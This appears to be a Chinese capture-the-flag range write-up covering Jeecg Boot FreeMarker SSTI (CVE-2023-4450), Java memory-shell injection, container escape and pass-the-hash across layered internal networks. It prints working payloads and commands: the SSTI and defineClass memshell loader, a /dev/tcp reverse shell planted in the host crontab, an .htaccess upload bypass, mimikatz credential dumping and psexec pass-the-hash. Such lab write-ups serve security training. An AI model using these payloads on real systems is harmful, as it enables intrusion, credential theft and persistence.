无限安全靶场-月挑战靶场1
字数 1631 2025-08-22 12:23:19
Java内存马注入与多层内网渗透实战教学
1. 靶场环境概述
1.1 靶场拓扑
- 目标IP: 10.10.0.3
- 开放服务:
- 22(SSH)
- 18088(Web服务)
- 6379(Redis)
- 3306(MySQL)
- 18080(Web服务)
1.2 考察技术点
- 主机信息收集
- Java代码审计
- Java内存马注入
- 不出网环境下的权限获取
- 容器化信息收集与逃逸
- 蜜罐对抗
- Webshell杀软对抗
- 多级代理域渗透
2. 初始信息收集
2.1 端口扫描
使用fscan工具进行扫描:
fscan-gw.exe -h 10.10.0.3
发现关键服务:
- Redis未授权访问
- MySQL弱口令(root/root)
- 两个Web服务(18080和18088)
2.2 Web服务探测
-
18088端口:
- 存在/jeecg-boot/路径
- 使用Jeecg Boot框架
-
18080端口:
- 显示DocToolkit
3. 漏洞利用
3.1 Jeecg Boot SSTI注入漏洞(CVE-2023-4450)
3.1.1 漏洞验证
POST请求:
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 10.10.0.3:18088
Content-Type: application/json
{"sql":"select '<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"whoami\") }'"}
3.1.2 内存马注入
使用pen4uin/java-memshell-generator生成内存马payload:
- 生成AntSword Tomcat Listener类型内存马
- 配置参数:
- 密码: Cslbewkahmg
- 请求路径: /*
- 请求头: Referer: Hftaa
- 脚本类型: JSP
将生成的base64格式内存马替换到payload中:
{
"sql":"call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apachen.SOAPUtils').newInstance();}catch(e){clsString=classLoader.loadClass('java.lang.String');bytecodeBase64='[BASE64内存马]';try{clsBase64=classLoader.loadClass('java.util.Base64');clsDecoder=classLoader.loadClass('java.util.Base64$Decoder');decoder=clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode=clsDecoder.getMethod('decode',clsString).invoke(decoder,bytecodeBase64);}catch(ee){try{datatypeConverterClz=classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode=datatypeConverterClz.getMethod('parseBase64Binary',clsString).invoke(datatypeConverterClz,bytecodeBase64);}catch(eee){clazz1=classLoader.loadClass('sun.misc.BASE64Decoder');bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);}}clsClassLoader=classLoader.loadClass('java.lang.ClassLoader');clsByteArray=(''.getBytes().getClass());clsInt=java.lang.Integer.TYPE;defineClass=clsClassLoader.getDeclaredMethod('defineClass',[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);clazz.newInstance();};#{1}dbSource":"","type":"0"}
4. 权限提升与持久化
4.1 获取Shiro key
在/home/ubuntu/.work/目录下找到源码,反编译发现Shiro key:
QZIysgMYhG7/CzIJlVpR1g==
4.2 蚁剑连接
- 连接URL: http://10.10.0.3:18080/favicondemo.ico
- 密码: pass1024
5. 容器逃逸
5.1 环境确认
使用df -h命令发现容器挂载了宿主机目录:
/dev/tmp 挂载到宿主机
5.2 定时任务逃逸
- 创建反弹shell脚本:
#!/bin/bash
bash -i >& /dev/tcp/IP/6665 0>&1
- 写入定时任务:
sed -i '$a*/1 * * * * root bash /tmp/test.sh' /dev/tmp/etc/crontab
6. 内网横向移动
6.1 第一层内网(192.168.80.0/24)
发现主机:
- 192.168.80.55(Windows Server 2008 R2)
文件上传绕过
- 上传.htaccess文件:
<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
- 上传免杀Webshell(使用ruoji工具生成)
6.2 第二层内网(192.168.81.0/24)
发现主机:
- 192.168.81.20(Weblogic)
代理设置
使用Stowaway建立多层代理:
- VPS监听:
./linux_x64_admin -l 9001 -s 123
- 目标机连接:
./linux_x64_agent -c IP:9001 -s 123 --reconnect 8
6.3 第三层内网(192.168.77.0/24)
发现域控:
- 192.168.77.250(WIN-LAVRSND6J6N.c3ting.org)
凭证获取
使用mimikatz获取hash:
privilege::debug
token::elevate
sekurlsa::logonpasswords
获取到Administrator的NTLM hash:
7ab183888ecafcccf897c4a5a59c8568
PTH攻击
使用psexec进行哈希传递:
proxychains4 python3 psexec.py -hashes :7ab183888ecafcccf897c4a5a59c8568 c3ting.org/administrator@192.168.77.250
7. 关键工具与技术总结
7.1 工具列表
- 扫描工具: fscan
- 内存马生成: pen4uin/java-memshell-generator
- 代理工具: Stowaway
- Webshell管理: 蚁剑、冰蝎、哥斯拉
- 免杀工具: ruoji
- 凭证获取: mimikatz
7.2 技术要点
-
Java内存马注入的多种方式:
- 通过SSTI漏洞加载
- 使用defineClass动态加载
- 多种base64解码方式兼容
-
容器逃逸方法:
- 挂载目录逃逸
- 定时任务持久化
-
内网渗透技巧:
- 多层代理建立
- 杀软规避(上传到ProgramData目录)
- 域环境下的哈希传递
-
Webshell免杀:
- .htaccess文件伪装
- 代码混淆加密
- 动态函数调用
8. 防御建议
- 及时更新Jeecg Boot等框架
- 限制Freemarker模板执行权限
- 监控异常Java进程和内存加载
- 容器配置适当的安全策略
- 内网分段隔离
- 启用强密码策略和双因素认证
- 定期审计域内账户和权限